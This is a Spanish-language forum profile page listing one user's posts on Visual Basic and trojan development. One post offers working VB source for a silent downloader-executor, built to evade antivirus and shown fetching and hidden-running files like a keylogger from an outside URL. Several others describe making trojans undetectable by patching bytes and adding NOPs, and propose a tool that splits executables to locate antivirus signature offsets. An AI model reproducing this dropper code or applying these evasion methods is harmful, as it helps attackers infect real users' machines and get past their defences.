Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Mad Antrax

#821
Hola, estoy programando el Cactus Downloader y publico aquí la función que implementaré en su núcleo. Permite descargar un fichero desde una dirección web HTTP o FTP, sin advertir al usuario. Funciona igual de bien que la famosa API: URLDownloadToFileA de urlmon.dll

El problema de esa API es que es detectada por el 99% de los Antivirus, por eso he diseñado una función flexible. Espero que sepais usar valores por defecto y valores opcionales, aunque no es demasiado complicado, aquí el source:

Module1.bas
Código (vb) [Seleccionar]

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que permite descargar un fichero de internet HTTP o FTP sin usar llamadas a APIS
'
'Uso de la función:
'   DownloadFile(URL = String, FileName = String, [SavePath = GlobalVar], [RunAfterDownload = Boolean], [RunHide = Boolean])
'   Return Value = Boolean (indica si se ha descargado o no el archivo)
'
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear
   
    Set XML = CreateObject("Microsoft.XMLHTTP")
    Set ADS = CreateObject("ADODB.Stream")

    XML.Open "GET", URL, False
    XML.send
   
    XML.getAllResponseHeaders
   
    FullSavePath = Environ(SavePath) & "\" & SaveName
   
    ADS.Open
    ADS.Type = 1
    ADS.Write XML.responseBody
    ADS.SaveToFile FullSavePath, 2
   
    If Err Then
        DownloadFile = False
    Else
        If RunAfterDownload = True Then
            If RunHide = True Then
                Shell FullSavePath, vbHide
            Else
                Shell FullSavePath, vbNormalFocus
            End If
        End If
        DownloadFile = True
    End If
End Function


Y para llamarla desde un Form o desde otra función:

Código (vb) [Seleccionar]

Private Sub Command1_Click()
    File = DownloadFile("http://perso.wanadoo.es/winworld/exec.exe", "prueba1.exe", "userprofile", True, False)
End Sub


El uso de la función es simple, y como usa valores Opcionales y Por Defecto solo tiene 2 argumentos requeridos, ejemplos:

DownloadFile("URL","NOMBRE")
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de NOMBRE, lo ejecuta y muestra la ventana

DownloadFile("URL","SERVER.EXE","SYSTEMROOT",FALSE)
Descargar el fichero URL y lo guarda en la capeta Windows con el nombre de SERVER.EXE, no lo ejecuta

DownloadFile("URL","KEYLOG",,,TRUE)
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de KEYLOG, lo ejecuta y NO muestra la ventana.

Si os complicais o no lo entendeis avisar, posteo un ejemplo (descargas válidad solo para usuarios registrados)
#823
Te falta la declaración de la API, no?

Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
#824
Por el simple hecho de usar tantos timers de muestra lo patético que es programando. Mi madre lo haría mejor.
#825
Ummmm, yo he estado haciendo pruebas. He pillado mi cactus.dll 2.5 (que es detectado por casi todos los AV's) y he modificado el caracter 0x00 por un caracter aleatório: 0x34

Solo he modificado los 0x00 que no tenían ningun otro caracter al lado que sea distinto de 0x00 y he obtenido los siguientes resultados:

1) El EXE tiene el mismo tamaño, ni más ni menos bytes
2) El EXE ha quedado completamente funciona, no se ha "roto"
3) El EXE se ha vuelto indetectable para TODOS los AntiVirus, aqui el reporte:



Solo sigue siendo detectado por 2 AntiVirus, pero lo detectan como forma general (me imagino que por Heurística). Si sigo modificando un poco más, le añado NOP's se queda 100% indetctable en menos de 10 minutos. Lo malo que este proceso se tiene que hacer a mano, al menos yo no encuentro forma de programarlo :(

Haré pruebas con troyanos más famosos (bifrost, etc) a ver si consigo crear algún EXE protector "manual".
#826
Programación Visual Basic / Re: SendKeys
17 Mayo 2007, 00:42 AM
Usa la función "DoEvents" para realizar una breve pausa entre línea y línea. Aunque lo correcto sería usar la API "Sleeps"
#827
Cita de: vivachapas en 17 Mayo 2007, 00:28 AM
nadie sabe xq puede ser!??!   :(

Seré claro y explícito con este tema:

1) Pides ayuda sobre un programa del cual no posteas el Source
2) Has posteado en tu mismo post para que "suba" y lo veamos todos.

A eso le llamo yo trolear



*** TEMA CERRADO ***
#828
Si, ya se que los AV usan partes del código como firma que son esenciales para que funcionen (una llamada a una API, una String Stática, etc...), y es evidente que troyanos del palo: bifrost, poisonivy, etc... tendrán unos offset's intocables. Pero estoy seguro que nos servirá para volver indetectables algunos códigos no tan famosos (pequeños keyloggers, etc...).

En cuanto al lenguaje de programación es lo mismo, solo es un programa que divide un archivo en partes iguales, cualquier lenguaje es apto para ello.

Cita de: Hans el Topo en 16 Mayo 2007, 22:58 PM
Mi pregunta es... ¿qué se supone que vas a editar una vez troceado? xD
La idea es trocear el ejecutable y obtener los archivitos para luego pasarle un Antivirus por encima y ver cual de ellos contiene el offset (firma) maligno. Una vez localizado el archivo procederíamos edición (añadiendo NOP's, modificando un caracter en caso de ser una string...) e intentar dejarlo indetectable sin joder la funcionalidad del archivo.

Que se pierde en intentarlo?
#829
Buenas, os propongo un proyecto a ver si os gusta y lo programamos entre unos cuantos...

La idea
Los Antivirus detectan unas zonas concretas de los troyanos (llamados offsets), si un Antivirus descubre uno (o varios) offset's en un archivo lo detectará como virus/troyano.

Hasta el día de hoy, la única forma de saber que offset hace saltar Antivirus era ir probando uno por uno (que coñazo!). Lo que quiero programar es una utilidad que lo haga por nosotros.

Explicación
Un simple programa que le especifiques la ruta de tu server.exe. El programa pedirá cuantos bytes quieres trocear. (Supongamos que nuestro server.exe pesa 10000 bytes, troceamos a 1000 bytes). Obtendremos 10 archivitos de 1000 bytes cada uno. Ahora solo falta pasar el AV y ver que archivo detecta.

Problemas
Es posible que al trocear un server.exe, nuestro AV no detecte ningún archivito malicioso. Eso significa que una parte del offset maligno ha quedado partido en 2 (o más) archivos, en este caso tendríamos que indicar al usuario que repita el "troceo" indicando un valor más elevado.

Y si queréis podemos programar un mini-editor hexadecimal integrado para editar allí mismo el offset. O incluso una utilidad para volver a juntar los archivitos troceados (después de detectar y editar el offset maligno).

Que os parece, alguien se anima? (respuestas mismo)
#830
Ese cñodigo no sirve mucho, me explico:


If App.PrevInstance = True Then
    End
End If


Esto lo guardo como "hola.exe" y lo ejecuto. Ahora copio "hola.exe" como "adios.exe" y lo ejecuto.

Tendré el hola.exe y el adios.exe ejecutados simultaneamente. Esto se arregla con un MuteX o con Melt